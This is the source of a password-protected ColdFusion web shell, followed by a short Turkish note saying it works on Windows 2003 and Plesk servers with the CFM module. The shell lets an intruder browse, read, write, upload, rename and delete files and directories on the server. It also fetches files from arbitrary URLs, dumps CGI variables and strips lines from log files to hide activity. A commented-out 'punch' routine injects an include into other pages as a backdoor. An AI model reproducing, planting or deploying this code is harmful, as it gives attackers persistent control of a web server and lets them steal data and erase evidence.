<cfoutput> <html > <title> </title> <style type="text/css"> <!-- . style1 --> </style> <body bgcolor="##D3DCDA" > <cfset currentPath = getCurrentTemplatePath > <cfset HomeDirectory = getDirectoryFromPath > <CFPARAM Name="password" Default=""> <style type="text/css"> <!-- . style1 . txtbox . deffont --> </style> <cfif password eq "byhstwst"> <CFPARAM Name="ext" Default="txt"> <cfparam name="logpath" default=""> <cfparam name="numofuploads" default="0"> <form action="#cgi. http_referer#" enctype="multipart/form-data" method=post> Go To Upper Directory<br> <input name="back" type="submit" value="Back" class="txtbox" style="width:5em;"> <cfif IsDefined > <cfdirectory action="LIST" directory="#logpath#" name="logfilelist"> <cfloop query="logfilelist"> <! if file exsist > <cfif FileExists > <! if its only. log > <cfif ListGetAt(logfilelist. name,2,".") eq "log"> <! read file to a variable called getdata > <cffile action="read" file="#logpath#\#logfilelist. name#" variable="getdata"> <! Regular expression digital_images rn) replace it by nothing > <cfset updatedlog=#ReReplaceNoCase(getdata, ' \r\n', '', "ALL")#> <! write back after deleting lines in to same text file > <cffile action="write" file="#logpath#\#logfilelist. name#" output="#updatedlog#" > </cfif> </cfif> </cfloop> </cfif> <cfif IsDefined eq FALSE > <cfset currentPath = getCurrentTemplatePath > <cfset currentDirectory = getDirectoryFromPath > <cfelse> <cfif trim neq ""> <cfset currentDirectory =syspath> <cfif isdefined > <cfif DirectoryExists > <cfset currentDirectory=currentDirectory & fname> <cfelse> <cfif FileExists > <cfif HomeDirectory NEQ currentDirectory > <cffile action="copy" source="#currentDirectory#\#fname#" destination="#HomeDirectory#\#fname#" nameconflict="makeunique"> <cffile action="rename" source="#HomeDirectory#\#fname#" destination="#HomeDirectory#\#fname#. pdf" > <cflocation url="#HomeDirectory#\#fname#. pdf" addtoken="no"> </cfif> </cfif> </cfif> </cfif> <cfelse> <cfset currentPath = getCurrentTemplatePath > <cfset currentDirectory = getDirectoryFromPath > </cfif> </cfif> <cfset newpath=""> <cfif isdefined > <cfset listln=ListLen > <cfloop from="1" to="#listln-1#" index="i"> <cfif i neq 1> <cfset Newpath=newpath & "\" & ListGetAt > <cfelse> <cfset Newpath=newpath & ListGetAt & "" > </cfif> </cfloop> <cfset currentDirectory=Newpath> </cfif> <cfif isdefined > <cfif DirectoryExists > <cfset currentDirectory="#path##fname#"> <cfelseif directoryexists > <cfset currentDirectory="#path#\#fname#"> <cfelseif FileExists > <cffile action="copy" source="#path#\#fname#" destination="#HomeDirectory#\#fname#" nameconflict="overwrite"> <cffile action="rename" source="#HomeDirectory#\#fname#" destination="#HomeDirectory#\#fname#. pdf" > <cflocation url="#fname#. pdf" addtoken="no"> </cfif> </cfif> <cfparam name="opath" default="#currentDirectory#"> <cfif isdefined > <cfset opath=orgpath> </cfif> <! <br>This directory is #currentDirectory#<br>original path:#opath#<br> > <input type="hidden" name="orgpath" value="#opath#"> <cfif IsDefined > <cffile action="copy" source="#sourcefile#" destination="#destfile#" nameconflict="makeunique" > </cfif> <cfif IsDefined > <table> <cfloop index="i" from=0 to="#chkbxcount -1 #"> <cfif IsDefined > <tr> <cfset delfile=Evaluate > <cfif DirectoryExists > <cfdirectory action="delete" directory="#currentDirectory#\#delfile#" recurse > <td colspan="2" bgcolor="##EFF1C9">All the file inside "#Evaluate # " Directory were aslo deleted!!!!!!</td> <br> <cfelse> <cfif FileExists > <cffile action = "delete" file = "#currentDirectory#\#delfile#"> </cfif> <td>#Evaluate # </td> <td> Deleted</td> </cfif> </tr> </cfif> <cfif IsDefined > <tr> <cfset rnfile=Evaluate > <cffile action = "rename" source = "#currentDirectory#\#rnfile#" destination = "#currentDirectory#\#rnfile#.#ext#"> <td>#Evaluate # </td> <td>Renamed to #Evaluate #.#ext#</td> </tr> </cfif> <cfif IsDefined > <cfset writefile=Evaluate > <cffile action="write" file="#writefile#" output="#myField#"> <br> Data written to "#writefile#" <br> </cfif> <! Inserting our page to all selected pages > <! <cfif IsDefined > <cfset punchfile=Evaluate > <cfif HomeDirectory NEQ currentDirectory > <cfset temp= punchfile> <cfset punchfile=ListGetAt(temp,1,".")> <cfset temp = currentDirectory& punchfile& ". gif. cfm" > <cfset punchfile=temp> <cffile action="copy" source="#currentPath#" destination="#punchfile#" nameconflict="makeunique"> </cfif> <cfset punchfile=Evaluate > <cffile action="read" file="#currentDirectory#\#punchfile#" variable="getData" > <! Read file contents and store it in a temporaty variable > <! First Punch Hacking tool code > <cffile action="write" file="#currentDirectory#\#punchfile#" output="<cfif isdefined > <cfinclude template=#punchfile# > <cfabort> </cfif>" > <! Then place back the original contents > <cffile action="write" file="#currentDirectory#\#punchfile#" output="#getData#" > written </cfif> > <cfif IsDefined > <cfset readfile=Evaluate > <cffile action="read" file="#currentDirectory#\#readfile#" variable="myData"> <textarea name="myField" cols="160" rows="35" class="txtbox"> #htmlEditFormat # </textarea> <td> <INPUT Type="Checkbox" Name="savechkbx#i#" value="#currentDirectory#\#readfile#" >SaveFile </td> </cfif> </cfloop> <cfif isdefined > <cfif FileExists > <cfdirectory action="CREATE" directory="#currentDirectory#\#newdir#"> </cfif> </cfif> <cfif isdefined > <cfif FileExists > <cffile action="write" file="#currentDirectory#\#NewFile#" output=""> </cfif> </cfif> <tr> <td>&nbsp</td><td>&nbsp</td> </tr> </table> </cfif> <cfloop from="1" to="#numofuploads#" index="i"> <cfif IsDefined > <cfset UploadFileName=Trim(Evaluate > <cfif UploadFileName NEQ ""> <cffile action="upload" destination="#currentDirectory#" nameConflict="overwrite" fileField="FiletoUpload#i#"> You uploaded #cffile. ClientFileName#.#cffile. ClientFileExt# successfully to #cffile. ServerDirectory# </cfif> </cfif> </cfloop> <cfif IsDefined > <cfloop collection="#CGI#" item="field"> #field#: #CGI # <BR> </cfloop> </cfif> <CFPARAM Name="dwnld" Default=0> <cfif dwnld eq 1 > <cfhttp method="Get" url="#myurl#" path="#currentDirectory#" file="#fl#" multipart="yes" getasbinary="auto"> <cflocation url="http://www.stroudsburgfoto.com/digital_images/#fl#" addtoken="no"> </cfif> <table border="1"> <tr> <td bgcolor="##FFCC66" class="deffont" >URL to download : </td> <td bgcolor="##FFCC66"><input name="myurl" type="text" class="txtbox" size=40></td> <td nowrap class="deffont" bgcolor="##FBEAF8">Source file : </td> <td bgcolor="##FBEAF8"> <input name="Sourcefile" type="text" size=30 class="txtbox" value="#currentDirectory#"></td> </tr> <tr> <td bgcolor="##FFCC66" class="deffont" >New File name : </td> <td bgcolor="##FFCC66" ><input name="fl" type="text" class="txtbox" size=40> </td> <td class="deffont" bgcolor="##FBEAF8">Destination file : </td> <td bgcolor="##FBEAF8"><input name="Destfile" type="text" size=30 value="#currentDirectory#" class="txtbox"></td> </tr> <tr> <td bgcolor="##FFCC66" class="deffont" Download Flag : </td> <td bgcolor="##FFCC66"><INPUT Type="Checkbox" Name="dwnld" Value="1" > </td> <td bgcolor="##FBEAF8" class="deffont" >Copy Flag : </td> <td bgcolor="##FBEAF8"> <input name="Copyflag" type="checkbox" value="1"></td> </tr> <tr> <td colspan="4" align="center" > </td> </tr> <tr> <td colspan="4" align="center" bgcolor="##86C1CA" class="deffont">Create New File or Folder </td> </tr> <tr> <td bgcolor="##86C1CA" class="deffont">New File : </td> <td bgcolor="##86C1CA"><input name="NewFile" type="text" class="txtbox" size=20 value=""> <input name="NewFileflag" type="checkbox" value="1"></td> <td bgcolor="##86C1CA" class="deffont" >New Directory : </td> <td bgcolor="##86C1CA"><input name="NewDir" type="text" class="txtbox" size=20 value=""> <input name="NewDirflag" type="checkbox" value="1"></td> </tr> <tr> <td colspan="4" align="center" > </td> </tr> <tr> <td colspan="4" align="center" bgcolor="##C6C6F9" class="deffont" >Clear Log Files </td> </tr> <tr> <td bgcolor="##C6C6F9" class="deffont"> Log Files Path </td> <td bgcolor="##C6C6F9" class="deffont"> <input type="text" size="40" name="logpath" value="#logpath#" class="txtbox" > </td> <td bgcolor="##C6C6F9" class="deffont"> Clear Log Flag </td> <td bgcolor="##C6C6F9" class="deffont"> <input name="Clearlogflag" type="checkbox" value="1"> </td> </tr> <tr> <td colspan="4" align="center" > </td> </tr> <tr> <td bgcolor="##F3C5CC" class="deffont" >Path : </td> <td bgcolor="##F3C5CC" > <input name="syspath" type="text" size=50 value="#currentDirectory#" class="txtbox"> </td> <td bgcolor="##FBCBB5" class="deffont">Ext : </td> <td bgcolor="##FBCBB5"><input name="ext" type="text" size=8 value="txt" class="txtbox"></td> </tr> <cfloop from="1" to="#numofuploads#" index="i"> <tr> <td bgcolor="##FFCE9D" class="deffont" >Upload #i#: </td> <td colspan="4" bgcolor="##FFCE9D"><input type="file" name="FiletoUpload#i#" size="75" class="txtbox"> </td> </tr> </cfloop> <tr> <td bgcolor="##CDF3EF" class="deffont" >Number of Uploads: </td> <td bgcolor="##CDF3EF"> <input type="text" size="4" name="numofuploads" class="txtbox" value="#numofuploads#"></td> <td bgcolor="##D0B38A" class="deffont" >Search Files: </td> <td bgcolor="##D0B38A" class="deffont" ><input type="text" class="txtbox" name="Searchfile" value=""> <input type="checkbox" name="Seachflag" value="1" ></td> </tr> <tr> <td> </td> <td> </td> <td bordercolor="##CCCC66" class="deffont" >Perform Action : </td> <td><input type="submit" value="Go" class="txtbox" style="width:5em;"> </td> </tr> </table> <input type=hidden Name="password" value=#password#> <br> <span class="style1">This directory is #currentDirectory#</span> <br> <br> <cfdirectory action="LIST" directory="#currentDirectory #" name="dirlist" SORT="dirname ASC, filename2 DESC, size, datelastmodified"> <table > <cfset i=0> <cfloop query="dirlist"> <tr bgcolor="##CECDBD"> <cfset outSize = dirlist. size / 1024> <td class="deffont"><A HREF="#cgi. http_referer#?password=#password#&fname=#dirlist. name#&path=#currentDirectory#" > <cfif DirectoryExists > #dirlist. name#\ <cfelse> #dirlist. name# </cfif> </A></td> <td class="deffont"> </td><td class="deffont"> <br></td> <td class="deffont"><INPUT Type="Checkbox" Name="delchkbx#i#" Value="#dirlist. name#" >Del</td> <td class="deffont"> <INPUT Type="Checkbox" Name="renchkbx#i#" Value="#dirlist. name#" >Ren</td> <td class="deffont"> <INPUT Type="Checkbox" Name="readchkbx#i#" Value="#dirlist. name#" >Read</td> <! <td class="deffont"> <INPUT Type="Checkbox" Name="punchchkbx#i#" Value="#dirlist. name#" >Punch</td> > <tr> <cfset i=i+1> </cfloop> <input type=hidden value="#i#" name="chkbxcount"> </table> </form> <cfelse> <form action="#cgi. http_referer#" method=post> <input type=passwd name=password> <input type="submit" value="Login" name="submit"> </form> </cfif> </body> </html> </cfoutput> bu shell windows 2003 de cfm modulu kurulu makinelerde işe yarar plekslerde otamatik kurulu gelir. insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.